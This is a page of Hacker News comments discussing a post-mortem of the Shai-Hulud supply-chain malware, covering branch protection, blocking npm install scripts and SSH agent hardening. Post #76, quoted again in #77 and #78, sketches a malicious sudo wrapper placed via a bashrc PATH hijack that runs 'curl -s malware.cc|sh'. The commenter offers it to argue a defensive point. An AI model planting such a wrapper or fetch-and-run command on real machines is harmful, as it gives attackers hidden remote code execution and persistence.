Live data from Hacker News

Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

trigger.dev

71–80 of 191 posts

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#71
post #8

Earlier quoted context omitted.

You can set up your repo to disable pushing directly to branches like main and require MFA to use the org admin account, so something malicious would need to push to a benign branch and separately be merged into one that deploys come from.

Pushing directly to main seems crazy - for anything that is remotely important I would use a pull request/merge request pattern

There's nothing wrong with pushing to main, as long as you don't blindly treat the head of the main branch as production-ready. It's a branch like any other; Git doesn't care what its name is.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#72

Earlier quoted context omitted.

As mentioned in the article, good NPM package managers just do this now. pnpm does it by default, yarn can be configured. Not sure about npm itself.

Got any pointers on how to configure this for yarn? I'm not turning anything up in the yarn documentation or in my random google searches. npm still seems to be debating whether they even want to do it. One of many reasons I ditched npm for yarn years ago (though the initial impetus was npm's confused and constantly changing behaviors around peer dependencies)

enableScripts: false in .yarnrc.yml https://yarnpkg.com/configuration/yarnrc#enableScripts

And then opt certain packages back in with dependenciesMeta in package.json https://yarnpkg.com/configuration/manifest#dependenciesMeta....

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#73
post #48

Earlier quoted context omitted.

There is no defense against a compromised laptop. You should prevent this at all cost. You can make it a bit more challenging for the attacker by using secure enclaves (like TPM or Yubikey), enforce signed commits, etc. but if someone compromised your machine, they can do whatever you can. Enforcing signing off on commits by multiple people is probably your only bet. But if you have admin creds, an attacker can turn…

It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands.

It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here.

Really, it's pointless. Unless you are signing specific actions from an independent piece of hardware [1], the malware can do what you can do. We can talk about the details all day long, and you can make it a bit harder for autonomously acting malware, but at the end of the day it's just a finger exercise to do what they want to do after they compromised your machine.

[1] https://www.reiner-sct.com/en/tan-generators/tan-generator-f... (Note that a display is required so you can see what specific action you are actually signing, in this case it shows amount and recipient bank account number.)

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#74
post #73

Earlier quoted context omitted.

It's more nuanced than that. Modern OSes and applications can, and often do, require re-authentication before proceeding with sensitive actions. I can't just run `sudo` without re-authenticating myself; and my ssh agent will reauthenticate me as well. See, e.g., https://developer.1password.com/docs/ssh/agent/security

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands. It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here. Really, it's pointless. Unless you are signing specific actions…

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent?

I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore don't bother" attitude. Taken to its logical extreme, people with such attitudes would never take risks like driving, or let their children out of the house.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#75
post #3

I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

If github, take a look at gh cli or git credential manager:

https://docs.github.com/en/get-started/git-basics/caching-yo...

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#76
post #73

Earlier quoted context omitted.

The malware can wait until you authenticate and perform its actions then in the context of your user session. The malware can also hijack your PATH variable and replace sudo with a wrapper that includes malicious commands. It can also just get lucky and perform a 'git push' while your SSH agent happens to be unlocked. We don't want to rely on luck here. Really, it's pointless. Unless you are signing specific actions…

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent? I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore do…

I can type up a test case on my phone:

The malware puts this in your bashrc or equivalent:

    PATH=/tmp/malware/bin:$PATH
In /tmp/malware/bin/sudo:

    #!/bin/bash
    /sbin/sudo bash -c "curl -s malware.cc|sh && $@" 
You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent.

You say it's unlikely, fine, so your risk appetite is sufficiently high. I just want to highlight the risk.

If your machine is compromised, it's game over.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#77
post #76

Earlier quoted context omitted.

Do you have evidence or a reproducible test case of a successful malware hijack of an ssh session using a Mac and the 1Password agent, or the sudo replacement you suggested? I assume you fully read the link I sent? I don't think you're necessarily wrong in theory -- but on the other hand you seem to discount taking reasonable (if imperfect) precautionary and defensive measures in favor of an "impossible, therefore do…

I can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH In /tmp/malware/bin/sudo: #!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@" You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent. You say it's…

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#78
post #76

Earlier quoted context omitted.

I can type up a test case on my phone: The malware puts this in your bashrc or equivalent: PATH=/tmp/malware/bin:$PATH In /tmp/malware/bin/sudo: #!/bin/bash /sbin/sudo bash -c "curl -s malware.cc|sh && $@" You get the idea. It can do something similar to the git binary and hijack "git commit" such that it will amend whatever it wants and you will happily sign it and push it using your hardened SSH agent. You say it's…

Typical defense against this is to mount all user-writable filesystems as `noexec` but unfortunately most OSes don't do that out of the box.

It could have created a bash alias then. And I don't think a dev wants to be restricted in creating executables. Again, if a dev can do it, so can the malware.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#79
post #3

I have been thinking about this. How do I make my git setup on my laptop secure? Currently, I have my ssh key on the laptop, so if I want to push, I just use git push. And I have admin credentials for the org. How do I make it more secure?

If github, take a look at gh cli or git credential manager: https://docs.github.com/en/get-started/git-basics/caching-yo...

I wouldn't say that's better. Now your .config directory contains a github token that can do more than just repo pull/push, and it is trivially exfiltrated. Though similar thing could be said for browser cookies.

Re: Shai-Hulud compromised a dev machine and raided GitHub org access: a post-mortem

#80
post #21

NPM post-install scripts considered harmful. There has to be a tool that allows you (or an AI) to easily review post-install scripts before you install the package.

As mentioned in the article, good NPM package managers just do this now. pnpm does it by default, yarn can be configured. Not sure about npm itself.

Obviously blocking install scripts is a good thing, but this is just a false sense of security. If you install a package you will likely execute some code from it too, so the malware can just run then. And that is what the next attack will do as everyone starts using pnpm (or if npm blocks it too).
Post reply on HN